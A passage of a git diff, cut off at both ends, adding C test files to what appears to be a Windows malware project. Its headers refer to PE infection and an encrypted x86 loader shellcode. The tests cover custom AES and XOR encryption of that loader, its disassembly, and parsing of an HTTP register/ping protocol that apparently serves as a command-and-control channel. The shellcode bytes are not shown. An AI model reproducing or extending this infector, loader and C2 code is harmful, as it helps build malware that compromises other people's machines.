10 ? '0' + digit : (uppercase ? 'A' : 'a') + digit - 10); + value /= radix; + } while (value > 0); + + for (i = (pbuffer - buffer); i < zero_pad; i++) + *(pbuffer++) = '0'; + + if (negative) + *(pbuffer++) = '-'; + + *(pbuffer) = '\0'; + + /* ... now we reverse it (could do it recursively but will + * conserve the stack space) */ + len = (pbuffer - buffer); + for (i = 0; i < len / 2; i++) { + char j = buffer[i]; + buffer[i] = buffer[len-i-1]; + buffer[len-i-1] = j; + } + + return len; +} + +int +mini_vsnprintf(char *buffer, unsigned int buffer_len, const char *fmt, va_list va) +{ + char *pbuffer = buffer; + char bf[24]; + char ch; + + int _putc(char ch) + { + if ((unsigned int)((pbuffer - buffer) + 1) >= buffer_len) + return 0; + *(pbuffer++) = ch; + *(pbuffer) = '\0'; + return 1; + } + + int _puts(char *s, unsigned int len) + { + unsigned int i; + + if (buffer_len - (pbuffer - buffer) - 1 < len) + len = buffer_len - (pbuffer - buffer) - 1; + + /* Copy to buffer */ + for (i = 0; i < len; i++) + *(pbuffer++) = s[i]; + *(pbuffer) = '\0'; + + return len; + } + + while ((ch=*(fmt++))) { + if ((unsigned int)((pbuffer - buffer) + 1) >= buffer_len) + break; + if (ch!='%') + _putc(ch); + else { + char zero_pad = 0; + char *ptr; + unsigned int len; + + ch=*(fmt++); + + /* Zero padding requested */ + if (ch=='0') { + ch=*(fmt++); + if (ch == '\0') + goto end; + if (ch >= '0' && ch <= '9') + zero_pad = ch - '0'; + ch=*(fmt++); + } + + switch (ch) { + case 0: + goto end; + + case 'u': + case 'd': + len = mini_itoa(va_arg(va, unsigned int), 10, 0, (ch=='u'), bf, zero_pad); + _puts(bf, len); + break; + + case 'p': + len = mini_itoa(va_arg(va, unsigned int), 16, 1, 1, bf, 8); + _puts(bf, len); + break; + case 'x': + case 'X': + len = mini_itoa(va_arg(va, unsigned int), 16, (ch=='X'), 1, bf, zero_pad); + _puts(bf, len); + break; + + case 'c' : + _putc((char)(va_arg(va, int))); + break; + + case 's' : + ptr = va_arg(va, char*); + _puts(ptr, COMPAT(strlen)(ptr)); + break; + + default: + _putc(ch); + break; + } + } + } +end: + return pbuffer - buffer; +} diff --git a/source/tests/run_tests.c b/source/tests/run_tests.c new file mode 100644 index 0000000..207347f --- /dev/null +++ b/source/tests/run_tests.c @@ -0,0 +1,106 @@ +#include "compat.h" +#include "tests.h" +#include "utils.h" + +#include <unistd.h> +#include <signal.h> + + +int null_dev = -1; +static FILE* null_file = NULL; +MYASSERT_LOGDEF; +unsigned test_count = 0; +unsigned test_faild = 0; + + +void sigsegv_handler(int signal) +{ + if (signal == SIGSEGV) { + ERRPRINT_BOTH("%s", "***** ACCESS VIOLATION *****"); + fclose(null_file); + fclose(MYASSERT_LOGFILE); + exit(1); + } +} + +int main(int argc, char** argv) +{ + fprintf(stderr, "Running TESTS ..\n\n"); + + (void)argc; + if (signal(SIGSEGV, sigsegv_handler) == SIG_ERR) { + fprintf(stderr, "Could not setup a signal handler for memory acces violations!\n"); + } + + if (bInitCompat( LoadLibraryA(TEXT("KERNEL32.dll")), GetProcAddress ) != TRUE) { + fprintf(stderr, "bInitCompat(...) failed!\n"); + return 1; + } + + const char* null_devname = "nul"; + null_file = fopen (null_devname, "w"); + if (null_file == NULL) { + fprintf(stderr, "Could not open windows NULL device: %s", null_devname); + } else null_dev = _fileno(null_file); + + MYASSERT_INIT; + MYASSERT(test_math()); + MYASSERT(test_utils()) + MYASSERT(test_heap()); + MYASSERT(test_mem()); + MYASSERT(test_memalign()); + MYASSERT(test_aes()); + MYASSERT(test_crypt()); + MYASSERT(test_distorm()); + MYASSERT(test_stdio()); + MYASSERT(test_pe(argv[0])); + MYASSERT(test_http()); + + MYASSERT_SILENT( (puts("puts(...)\n") == 0) ); + MYASSERT_SILENT( (__xputs("__xputs(...)\n") > 0) ); + + static char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,.-#'?!"; + char* rndstr = __randstring(4096, charset); + MYASSERT_SILENT( (__xprintf("---%s---\n", rndstr) > 0) ); + COMPAT(free)(rndstr); + + if (MYASSERT_RETVAL == 0) { + ERRPRINT_BOTH("SUCCESS | TESTS: %u", (unsigned)test_count); + } else { + ERRPRINT_BOTH("LAST FAILED with %d | FAILED/TESTS: %u/%u", MYASSERT_RETVAL, (unsigned)test_faild, (unsigned)test_count); + } + + MYASSERT_RETURN; +} + +char* test_randstring(size_t length) +{ + + static char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,.-#'?!"; + return __randstring(length, charset);; +} + +char* test_randhexstring(size_t length) +{ + static char hcharset[] = "0123456789abcdef"; + return __randstring(length, hcharset); +} + +int fprintf_setw(FILE *stream, size_t s_maxlen, const char *format, ...) +{ + int ret; + static char tmp[BUFSIZ]; + va_list va; + va_start(va, format); + + ret = vsnprintf(tmp, BUFSIZ, format, va); + if (ret > 0 && (size_t)ret < s_maxlen && ret+s_maxlen < BUFSIZ) + { + for (size_t i = ret; i < s_maxlen; ++i) + tmp[i] = '.'; + } + ret = fprintf(stream, "%s", tmp); + + va_end(va); + return ret; +} diff --git a/source/tests/test_aes.c b/source/tests/test_aes.c new file mode 100644 index 0000000..1040378 --- /dev/null +++ b/source/tests/test_aes.c @@ -0,0 +1,100 @@ +#include "tests.h" + +#include "compat.h" +#include "aes.h" +#include "pe_infect.h" + +#include "aes_strings_gen.h" +#include "loader_x86_crypt.h" +_AESDATA_(ldrdata, LOADER_SHELLCODE); + + +BOOL test_aes(void) +{ + ERRETCP(bInitCompat(LoadLibraryA(TEXT("KERNEL32.dll")), GetProcAddress) == TRUE); + + unsigned char key[KEY_256]; + memset(&key[0], '\0', sizeof(unsigned char)*KEY_256); + aes_randomkey(&key[0], KEY_256); + + unsigned char ptext[16] = "Attack at dawn!"; + unsigned char ctext[16]; + unsigned char decptext[16]; + aes_ctx_t* ctx; + + memset(&ctext[0], '\0', sizeof(ctext)); + memset(&decptext[0], '\0', sizeof(decptext)); + + aes_init(); + ctx = aes_alloc_ctx(key, sizeof(key)); + if(!ctx) { + return FALSE; + } + aes_encrypt(ctx, ptext, ctext); + aes_decrypt(ctx, ctext, decptext); + ERRETCP( strlen((char*)decptext) == strlen((char*)ptext) ); + ERRETCP( strcmp((char*)decptext, (char*)ptext) == 0 ); + + unsigned char qtext[16] = "blah"; + unsigned char dtext[16]; + unsigned char decqtext[16]; + + memset(&dtext[0], '\0', sizeof(dtext)); + memset(&decqtext[0], '\0', sizeof(decqtext)); + + aes_encrypt(ctx, qtext, dtext); + aes_decrypt(ctx, dtext, decqtext); + ERRETCP( strlen((char*)decqtext) == strlen((char*)qtext) ); + ERRETCP( strcmp((char*)decqtext, (char*)qtext) == 0 ); + + { + char inbuf[] = "This is a short short short short short text, but bigger than 16 bytes ..."; + char *outbuf = NULL; + char *chkbuf = NULL; + size_t len = 0; + outbuf = aes_crypt_s(ctx, inbuf, sizeof(inbuf), &len, TRUE); + size_t chklen = 0; + chkbuf = aes_crypt_s(ctx, outbuf, len, &chklen, FALSE); + ERRETCP( strlen(inbuf) == strlen(chkbuf) ); + ERRETCP( strcmp(inbuf, chkbuf) == 0 ); + COMPAT(free)(outbuf); + COMPAT(free)(chkbuf); + } + + aes_free_ctx(ctx); + + { + unsigned char newkey[] = "\x08\xEE\xD4\xBA\xA0\x86\x6C\x52\x38\x1E\x04\xEA\xD0\xB6\x9C\x82\x68\x4E\x34\x1A\x00\xE6\xCC\xB2\x98\x7E\x64\x4A\x30\x16\xFC\xE2"; + char newbuf[] = "\x3F\x65\xF3\xEC\xF2\xFD\x4D\x1B\xFE\xF5\x12\xE9\x66\x0D\x83\xD3\x1D\xB5\x64\xC1\x9F\x6D\xD2\x51\x51\x64\x89\x22\x94\xBE\x63\x11\x9E\xD7\x7A\x10\x9D\xDF\x22\x57\xB8\xD2\x76\x7E\x4E\x71\x1B\xCB"; + char chkbuf[] = "This is a somewhat stupid test dude .."; + ctx = aes_alloc_ctx(newkey, sizeof(newkey)-1); + char* outbuf = aes_crypt_s(ctx, newbuf, sizeof(newbuf)-1, NULL, FALSE); + ERRETCP( strlen(chkbuf) == strlen(outbuf) ); + ERRETCP( strcmp(outbuf, chkbuf) == 0 ); + aes_free_ctx(ctx); + COMPAT(free)(outbuf); + } + + { + unsigned char newkey[] = "\x81\x88\x8F\x96\x9D\xA4\xAB\xB2\xB9\xC0\xC7\xCE\xD5\xDC\xE3\xEA\xF1\xF8\xFF\x06\x0D\x14\x1B\x22\x29\x30\x37\x3E\x45\x4C\x53\x5A"; + char chkbuf[] = "This is a somewhat stupid test dude .."; + ctx = aes_alloc_ctx(newkey, sizeof(newkey)-1); + size_t len = 0, newlen = 0; + char* outbuf = aes_crypt_s(ctx, chkbuf, sizeof(chkbuf)-1, &len, TRUE); + char* decbuf = aes_crypt_s(ctx, outbuf, len, &newlen, FALSE); + ERRETCP( strlen(chkbuf) == strlen(decbuf) ); + ERRETCP( strcmp(decbuf, chkbuf) == 0 ); + ERRETCP( newlen == len ); + aes_free_ctx(ctx); + COMPAT(free)(outbuf); + } + + SIZE_T lsiz = 0; + BYTE* l = getLoader(&lsiz); + ERRETCP( l != NULL ); + ERRETCP( lsiz > 0 ); + COMPAT(free)(l); + + aes_cleanup(); + return TRUE; +} diff --git a/source/tests/test_asm.c b/source/tests/test_asm.c new file mode 100644 index 0000000..8f49f8f --- /dev/null +++ b/source/tests/test_asm.c @@ -0,0 +1,51 @@ +#include "tests.h" + +#include "compat.h" +#include "loader_x86.h" +#include "distorm/distorm.h" + + +static volatile unsigned char loader_bin[] = LOADER_SHELLCODE; +#define MAX_INSTRUCTIONS (1000) +static volatile _DecodedInst decodedInstructions[MAX_INSTRUCTIONS]; + + +BOOL test_distorm(void) +{ + ERRETCP(bInitCompat(LoadLibraryA(TEXT("KERNEL32.dll")), GetProcAddress) == TRUE); + + _DecodeType dt = Decode32Bits; + _DecodeResult res; + _OffsetType offset = 0; + unsigned char* buf = (unsigned char*)&loader_bin[0]; + size_t size = sizeof(loader_bin)/sizeof(loader_bin[0]); + unsigned int decodedInstructionsCount = 0, i, next; + + COMPAT(memset)((unsigned char*)&decodedInstructions[0], '\0', sizeof(_DecodedInst)*MAX_INSTRUCTIONS); + while (1) { + res = distorm_decode(offset, buf, size, dt, (_DecodedInst*)&decodedInstructions[0], MAX_INSTRUCTIONS, &decodedInstructionsCount); + if (res == DECRES_INPUTERR) + break; + + ERRETCP(res == DECRES_SUCCESS); + ERRETCP(decodedInstructionsCount > 0); + for (i = 0; i < decodedInstructionsCount; i++) { + ERRETCPDW_NOLOG( decodedInstructions[i].offset < size, decodedInstructions[i].offset ); + ERRETCPDW_NOLOG( decodedInstructions[i].size > 0, decodedInstructions[i].size ); + ERRETCPDW_NOLOG( decodedInstructions[i].size < 15, decodedInstructions[i].size ); + ERRETCP_NOLOG( strnlen( (const char*)(&decodedInstructions[i])->mnemonic.p, MAX_TEXT_SIZE ) > 0 ); + } + + if (res == DECRES_SUCCESS) break; // All instructions were decoded. + else if (decodedInstructionsCount == 0) break; + + // Synchronize: + next = (unsigned int)(decodedInstructions[decodedInstructionsCount-1].offset - offset); + next += decodedInstructions[decodedInstructionsCount-1].size; + // Advance ptr and recalc offset. + buf += next; + size -= next; + offset += next; + } + return TRUE; +} diff --git a/source/tests/test_compat.c b/source/tests/test_compat.c new file mode 100644 index 0000000..f760a6e --- /dev/null +++ b/source/tests/test_compat.c @@ -0,0 +1,152 @@ +#include "tests.h" + +#include "compat.h" + + +BOOL test_heap(void) +{ + ERRETCP(bInitCompat(LoadLibraryA(TEXT("KERNEL32.dll")), GetProcAddress) == TRUE); + UINT64* hAlloc = __xcalloc(128, sizeof(UINT64)); + ERRETCP(hAlloc != NULL); + memset(hAlloc, 'A', sizeof(UINT64)*128); + *(char*)((BYTE*)(hAlloc) + (sizeof(UINT64)*128)-1) = '\0'; + ERRETCP( strlen((char*)hAlloc) == (sizeof(UINT64)*128)-1 ); + __xfree(hAlloc); + + BYTE* bAlloc = __xcalloc(BUFSIZ, sizeof(UINT64)); + ERRETCP(bAlloc != NULL); + memset(bAlloc, 'A', sizeof(UINT64)*BUFSIZ); + *(char*)((BYTE*)(bAlloc) + (sizeof(UINT64)*BUFSIZ)-1) = '\0'; + ERRETCP( strlen((char*)bAlloc) == (sizeof(UINT64)*BUFSIZ)-1 ); + __xfree(bAlloc); + + return TRUE; +} + +BOOL test_mem(void) +{ + const size_t siz = 128; + char buf[65]; + + memset(buf, 'A', 64); + *(buf+64) = '\0'; + + ERRETCP(bInitCompat(LoadLibraryA(TEXT("KERNEL32.dll")), GetProcAddress) == TRUE); + char* hAllocOrg = calloc(siz+1, sizeof(char)); + LPSTR hAlloc = __xcalloc(siz+1, sizeof(LPSTR)); + ERRETCP(hAlloc != NULL && hAllocOrg != NULL); + + /* memset */ + ERRETCP(memset(hAllocOrg, 'A', siz) != NULL); + ERRETCP(strlen(hAllocOrg) == siz); + ERRETCP(__xmemset(hAlloc, 'A', siz) != NULL); + ERRETCP(strlen(hAlloc) == siz); + /* memcpy */ + ERRETCP(memcpy(hAllocOrg, (const void*)buf, sizeof(buf)) != NULL); + ERRETCP(strlen(hAllocOrg) == sizeof(buf)-1); + ERRETCP(__xmemcpy(hAlloc, (LPCVOID)buf, sizeof(buf)) != NULL); + ERRETCP(strlen(hAlloc) == sizeof(buf)-1); + /* memmove */ + ERRETCP( memset (hAllocOrg+ 8, 'B', 8) != NULL ); + ERRETCP( memmove (hAllocOrg+16, hAllocOrg+4, 8) == (hAllocOrg+16) ); + ERRETCP( memset (hAllocOrg+ 8, 'A', 8) != NULL ); + ERRETCP( strstr (hAllocOrg, "BBBB") != NULL ); + ERRETCP( __xmemset (hAlloc + 8, 'B', 8) != NULL ); + ERRETCP( __xmemmove(hAlloc +16, hAlloc+4, 8) == (hAlloc+16) ); + ERRETCP( __xmemset (hAlloc + 8, 'A', 8) != NULL ); + ERRETCP( strstr (hAlloc, "BBBB") != NULL ); + + __xfree(hAlloc); + free(hAllocOrg); + return TRUE; +} + +BOOL test_stdio(void) +{ + const char buf1[] = "AAAABBBBAAAACCCC*"; + const size_t len1 = strlen(buf1); + + ERRETCP(bInitCompat(LoadLibraryA(TEXT("KERNEL32.dll")), GetProcAddress) == TRUE); + ERRETCP( strcmp("BBBB", buf1) == __xstrcmp("BBBB", buf1) ); + ERRETCP( strcmp("DDDD", buf1) == __xstrcmp("DDDD", buf1) ); + ERRETCP( strcmp(buf1, "BBBB") == __xstrcmp(buf1, "BBBB") ); + ERRETCP( strcmp(buf1, "DDDD") == __xstrcmp(buf1, "DDDD") ); + + ERRETCP( strncmp("BBBB", buf1, len1) == __xstrncmp("BBBB", buf1, len1) ); + ERRETCP( strncmp("DDDD", buf1, len1) >= __xstrncmp("DDDD", buf1, len1) ); + ERRETCP( strncmp(buf1, "BBBB", len1) == __xstrncmp(buf1, "BBBB", len1) ); + ERRETCP( strncmp(buf1, "DDDD", len1) <= __xstrncmp(buf1, "DDDD", len1) ); + + ERRETCP( __xstrnicmp("BBBB", buf1, len1) != 0 ); + ERRETCP( __xstrnicmp("bbbb", buf1, len1) != 0 ); + ERRETCP( __xstrnicmp("dddd", buf1, len1) != 0 ); + ERRETCP( __xstrnicmp("DDDD", buf1, len1) != 0 ); + ERRETCP( __xstrnicmp("AAAA", buf1, len1) == 0 ); + ERRETCP( __xstrnicmp("aaaa", buf1, len1) == 0 ); + + ERRETCP( strlen(buf1) == __xstrlen(buf1) ); + ERRETCP( strnlen(buf1, 0xFF) == __xstrnlen(buf1, 0xFF) ); + ERRETCP( strnlen(buf1, 8) == __xstrnlen(buf1, 8) ); + + char *tmp = COMPAT(strdup)(buf1); + ERRETCP( strlen(buf1) == strlen(tmp) ); + ERRETCP( __xstrlen(buf1) == __xstrlen(tmp) ); + + ERRETCP( strchr(buf1, '*') == __xstrchr(buf1, '*') ); + ERRETCP( strchr(buf1, '$') == __xstrchr(buf1, '$') ); + COMPAT(free)(tmp); + + char *buf2 = COMPAT(calloc)(128, sizeof(char*)); + char buf3[] = "AAAA"; + COMPAT(strcat)(buf2, buf3); + size_t len = strlen(buf2); + ERRETCP( len == strlen(buf3) ); + ERRETCP( len+4 == strlen(__xstrcat(buf2, "BBBB")) ); + ERRETCP( len+4 == strlen(__xstrcat(buf2, "")) ); + ERRETCP( len+4 == strlen(__xstrcat(buf2, "\0\0\0\0")) ); + ERRETCP( len+12 == strlen(__xstrcat(buf2, "CCCCCCCC")) ); + COMPAT(free)(buf2); + + char* buf4 = COMPAT(calloc)(PRINT_BUFSIZ, sizeof(char)); + char* buf5 = COMPAT(calloc)(PRINT_BUFSIZ, sizeof(char)); + int ret = COMPAT(snprintf)(buf4, PRINT_BUFSIZ, "---%d,%u---\n", 22, (UINT32)-1); + snprintf(buf5, PRINT_BUFSIZ, "---%d,%u---\n", 22, (UINT32)-1); + ERRETCP( ret > 0 && ret < PRINT_BUFSIZ ); + ERRETCP( strncmp(buf4, buf5, PRINT_BUFSIZ) == 0); + COMPAT(free)(buf4); + COMPAT(free)(buf5); + + buf4 = COMPAT(calloc)(PRINT_BUFSIZ, sizeof(char)); + buf5 = COMPAT(calloc)(PRINT_BUFSIZ, sizeof(char)); + ret = COMPAT(snprintf)(buf4, PRINT_BUFSIZ, "---%d,%u,%d,%d,%c,%p,%p---\n", 22, (UINT32)-1, (INT32)-1, INT_MIN, 'Z', (void*)0xAABBCCFF, (void*)NULL); + snprintf(buf5, PRINT_BUFSIZ, "---%d,%u,%d,%d,%c,%p,%p---\n", 22, (UINT32)-1, (INT32)-1, INT_MIN, 'Z', (void*)0xAABBCCFF, (void*)NULL); + ERRETCP( ret > 0 && ret < PRINT_BUFSIZ ); + ERRETCP( strncmp(buf4, buf5, PRINT_BUFSIZ) == 0); + COMPAT(free)(buf4); + COMPAT(free)(buf5); + + buf4 = COMPAT(calloc)(PRINT_BUFSIZ, sizeof(char)); + buf5 = COMPAT(calloc)(PRINT_BUFSIZ, sizeof(char)); + ret = COMPAT(snprintf)(buf4, PRINT_BUFSIZ, "---%p,%p,%X,%X---\n", 0x12345678, &buf2, 0x1234, 0x66667777); + snprintf(buf5, PRINT_BUFSIZ, "---%p,%p,%X,%X---\n", (void*)0x12345678, &buf2, 0x1234, 0x66667777); + ERRETCP( ret > 0 && ret < PRINT_BUFSIZ ); + ERRETCP( strcmp(buf4, buf5) == 0); + COMPAT(free)(buf4); + COMPAT(free)(buf5); + + char* randstr = test_randstring(65535); + buf5 = COMPAT(calloc)(strlen(randstr)+1, sizeof(char)); + COMPAT(snprintf)(buf5, strlen(randstr)+1, "%s", randstr); + ERRETCP( strlen(randstr) == strlen(buf5) ); + ERRETCP( strcmp(randstr, buf5) == 0 ); + COMPAT(free)(buf5); + + LPCSTR aStr = TEXT("This is a simple ANSI string if _UNICODE is not defined."); + int wLen = 0; + LPWSTR wStr = COMPAT(toWideChar)(aStr, strlen(aStr), &wLen); + ERRETCP( wLen > 0 ); + ERRETCP( wStr != NULL ); + COMPAT(free)(wStr); + + return TRUE; +} diff --git a/source/tests/test_crypt.c b/source/tests/test_crypt.c new file mode 100644 index 0000000..a2ebd49 --- /dev/null +++ b/source/tests/test_crypt.c @@ -0,0 +1,44 @@ +#include "tests.h" + +#include "utils.h" +#include "crypt.h" + + +#define MIN_BUFSIZ 8192 +#define MAX_BUFSIZ 65536 + + +BOOL test_crypt(void) +{ + uint32_t key[8], iv[8]; + size_t ivkeysize = 0, maxsiz = 0; + + maxsiz = MIN_BUFSIZ + (__rdtsc() % (MAX_BUFSIZ-MIN_BUFSIZ+1)); + ivkeysize = 1 + (__rdtsc() % (sizeof(key)/sizeof(key[0]))); + + char* randstr = test_randstring(maxsiz); + ERRETCP( randstr != NULL ); + size_t randlen = strlen(randstr); + ERRETCP( maxsiz == randlen ); + ERRETCP( randlen >= MIN_BUFSIZ && MAX_BUFSIZ >= randlen ); + + for (size_t i = 0; i < ivkeysize; ++i) { + while(key[i] == 0) key[i] = xor32_randomkey(); + while(iv[i] == 0) iv[i] = xor32_randomkey(); + } + + size_t encsiz = maxsiz + (ivkeysize*sizeof(key[0])); + char* encBuf = calloc(encsiz, sizeof(char)); + for (size_t i = 0; i < encsiz; ++i) + ERRETCPDW_NOLOG( *(encBuf + i) == 0x0, *(encBuf + i) ); + memcpy(encBuf, randstr, randlen); + size_t newsiz = xor32n_pcbc_crypt_buf((uint32_t*)encBuf, maxsiz, &iv[0], &key[0], ivkeysize); + ERRETCP( memcmp(encBuf, randstr, maxsiz) != 0 ); + size_t oldsiz = xor32n_pcbc_crypt_buf((uint32_t*)encBuf, newsiz, &iv[0], &key[0], ivkeysize); + ERRETCP( oldsiz == newsiz ); + ERRETCP( memcmp(encBuf, randstr, maxsiz) == 0 ); + free(encBuf); + + COMPAT(free)(randstr); + return TRUE; +} diff --git a/source/tests/test_http.c b/source/tests/test_http.c new file mode 100644 index 0000000..e4882a4 --- /dev/null +++ b/source/tests/test_http.c @@ -0,0 +1,279 @@ +#include <unistd.h> +#include <time.h> + +#include "tests.h" + +#include "http.h" +#include "math.h" +#include "utils.h" + + +BOOL addPkg(SIZE_T sizA, SIZE_T sizB, struct http_resp* hresp, rrbuff* dst_buf, rrsize* dst_siz) +{ + ERRETCP( dst_buf != NULL && dst_siz != NULL && hresp != NULL ); + + rrsize new_siz = *dst_siz + sizA + sizeof(*hresp) + sizB; + *dst_buf = realloc(*dst_buf, new_siz*sizeof(**dst_buf)); + + rrbuff new_buf = *dst_buf + *dst_siz; + memset(new_buf, 'A', sizA); + memcpy(new_buf + sizA, hresp, sizeof(*hresp)); + memset(new_buf + sizA + sizeof(*hresp), 'B', sizB); + + *dst_siz = new_siz; + return TRUE; +} + +#define PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp) \ + if (pkgbuf != NULL) free(pkgbuf); \ + pkgbuf = NULL; \ + pkgsiz = 0; \ + pkg_count = 0; \ + memset(&hresp, 0, sizeof(hresp)); \ + memset(&hresp.startMarker[0], 'c', MARKER_SIZ); + +BOOL test_http(void) +{ + DWORD init_ret = ERR_HTTP_PRE; + ERRETCPDW( (init_ret = initHttp(LoadLibraryA, GetProcAddress)) == ERR_HTTP_OK, init_ret ); + + uint64_t sizA = __rdtsc() % 256; + uint64_t sizB = __rdtsc() % 512; + struct http_resp hresp = { {0}, 0, 0, 0 }; + rrbuff pkgbuf = NULL; + rrsize pkgsiz = 0; + DWORD pkg_count = 0; + + PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp); + + { + hresp.respCode = RC_REGISTER; + ERRETCP( addPkg(sizA, sizB, &hresp, &pkgbuf, &pkgsiz) == TRUE ); + ERRETCP( addPkg(sizA, sizB, &hresp, &pkgbuf, &pkgsiz) == TRUE ); + hresp.respCode = RC_PING; + ERRETCP( addPkg(sizA, sizB, &hresp, &pkgbuf, &pkgsiz) == TRUE ); + pkg_count = 3; + } + + { + int ret; + struct http_resp* tmp_hresp = NULL; + size_t pkgoff = 0; + while ((ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) == RSP_OK ) { + ERRETCP( tmp_hresp != NULL ); + pkg_count--; + } + if (pkg_count != 0) + ERRPRINT_BOTH("Last parseResponse returned: %d", ret); + ERRETCPLD( pkg_count == 0, pkg_count ); + } + + PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp); + + { + rflags all_flags[] = RF_ALL; + rrcode all_codes[] = RC_ALL; + for (DWORD i = 0; i < SIZEOF(all_codes); ++i) { + for (DWORD j = 0; j < SIZEOF(all_flags); ++j) { + hresp.respFlags = all_flags[j]; + hresp.respCode = all_codes[i]; + ERRETCP( addPkg(sizA, sizB, &hresp, &pkgbuf, &pkgsiz) == TRUE ); + pkg_count++; + } + } + int ret; + struct http_resp* tmp_hresp = NULL; + size_t pkgoff = 0; + while ((ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) == RSP_OK ) { + ERRETCP( tmp_hresp != NULL ); + pkg_count--; + } + if (pkg_count != 0) + ERRPRINT_BOTH("Last parseResponse returned: %d", ret); + ERRETCPLD( pkg_count == 0, pkg_count ); + } + + PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp); + + { + DWORD maxPkgs = 64; + for (DWORD i = 0; i < maxPkgs; ++i) { + hresp.respCode = RC_PING; + ERRETCP( addPkg(sizA, sizB, &hresp, &pkgbuf, &pkgsiz) == TRUE ); + pkg_count++; + } + ERRETCPLD( pkg_count == maxPkgs, pkg_count ); + } + + PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp); + + { + int abs_count = 0; + rrcode all_codes[] = RC_ALL; + DWORD maxPkgs = 64; + DWORD validPkgs = 0; + for (DWORD i = 0; i < maxPkgs; ++i) { + rrcode rc; + int rnd; + while ((rnd = __rdtsc()) == 0) {} + if (rnd % 2 == 0) + rc = all_codes[ __rdtsc() % SIZEOF(all_codes) ]; + else + rc = (rrcode)__rdtsc(); + for (DWORD j = 0; j < SIZEOF(all_codes); ++j) { + if (all_codes[j] == rc) { + pkg_count++; + validPkgs++; + break; + } + } + abs_count++; + hresp.respCode = rc; + ERRETCP( addPkg(0, 0, &hresp, &pkgbuf, &pkgsiz) == TRUE ); + } + int ret; + struct http_resp* tmp_hresp = NULL; + size_t pkgoff = 0; + while (abs_count > 0) { + if ((ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) == RSP_OK) { + pkg_count--; + } + abs_count--; + } + if (pkg_count != 0) + ERRPRINT_BOTH("Last parseResponse returned: %d (validPkgs/maxPkgs: %lu/%lu)", ret, validPkgs, maxPkgs); + ERRETCPLD( abs_count == 0, abs_count ); + ERRETCPLD( pkg_count == 0, pkg_count ); + } + + PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp); + + { + DWORD maxPkgs = 64; + for (DWORD i = 0; i < maxPkgs; ++i) { + hresp.respCode = RC_PING; + ERRETCP( addPkg(0, 0, &hresp, &pkgbuf, &pkgsiz) == TRUE ); + pkg_count++; + } + int ret; + struct http_resp* tmp_hresp = NULL; + size_t pkgoff = 0; + while ((ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) == RSP_OK) { + pkg_count--; + } + if (pkg_count != 0) + ERRPRINT_BOTH("Last parseResponse returned: %d (maxPkgs: %lu)", ret, maxPkgs); + ERRETCPLD( pkg_count == 0, pkg_count ); + } + + PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp); + + { + hresp.respCode = RC_PING; + ERRETCP( addRequest(&pkgbuf, &pkgsiz, &hresp) == RSP_OK ); + int ret = -1; + struct http_resp* tmp_hresp = NULL; + size_t pkgoff = 0; + ERRETCPLD( (ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) == RSP_OK, ret ); + } + PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp); + { + hresp.respCode = 0; + ERRETCP( addRequest(&pkgbuf, &pkgsiz, &hresp) == RSP_OK ); + int ret = -1; + struct http_resp* tmp_hresp = NULL; + size_t pkgoff = 0; + ERRETCPLD( (ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) != RSP_OK, ret ); + } + PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp); + + { + int abs_count = 0; + rrcode all_codes[] = RC_ALL; + DWORD maxPkgs = 64; + DWORD validPkgs = 0; + for (DWORD i = 0; i < maxPkgs; ++i) { + rrcode rc; + int rnd; + while ((rnd = __rdtsc()) == 0) {} + if (rnd % 2 == 0) + rc = all_codes[ __rdtsc() % SIZEOF(all_codes) ]; + else + rc = (rrcode)__rdtsc(); + for (DWORD j = 0; j < SIZEOF(all_codes); ++j) { + if (all_codes[j] == rc) { + pkg_count++; + validPkgs++; + break; + } + } + abs_count++; + hresp.respCode = rc; + ERRETCP( addRequest(&pkgbuf, &pkgsiz, &hresp) == RSP_OK ); + } + int ret; + struct http_resp* tmp_hresp = NULL; + size_t pkgoff = 0; + while (abs_count > 0) { + if ((ret = parseResponse(pkgbuf, pkgsiz, &tmp_hresp, &pkgoff, &hresp.startMarker[0])) == RSP_OK) { + pkg_count--; + } + abs_count--; + } + if (pkg_count != 0) + ERRPRINT_BOTH("Last parseResponse returned: %d (validPkgs/maxPkgs: %lu/%lu)", ret, validPkgs, maxPkgs); + ERRETCPLD( abs_count == 0, abs_count ); + ERRETCPLD( pkg_count == 0, pkg_count ); + } + + PARSE_RESPONSE_CLEANUP(pkgbuf, pkgsiz, pkg_count, hresp); + + { + int abs_count = 0; + rrcode all_codes[] = RC_ALL; + DWORD maxPkgs = 64; + DWORD validPkgs = 0; + for (DWORD i = 0; i < maxPkgs; ++i) { + rrcode rc; + int rnd; + while ((rnd = __rdtsc()) == 0) {} + if (rnd % 2 == 0) + rc = all_codes[ __rdtsc() % SIZEOF(all_codes) ]; + else + rc = (rrcode)__rdtsc(); + for (DWORD j = 0; j < SIZEOF(all_codes); ++j) { + if (all_codes[j] == rc) { + pkg_count++; + validPkgs++; + break; + } + } + abs_count++; + + rrsize psiz = __rdtsc() % 512; + struct http_resp* nresp = calloc(sizeof(*nresp) + pkgsiz, 1); + memcpy(&nresp->startMarker[0], &hresp.startMarker[0], MARKER_SIZ); + nresp->pkgsiz = psiz; + nresp->respCode = rc; + ERRETCP( 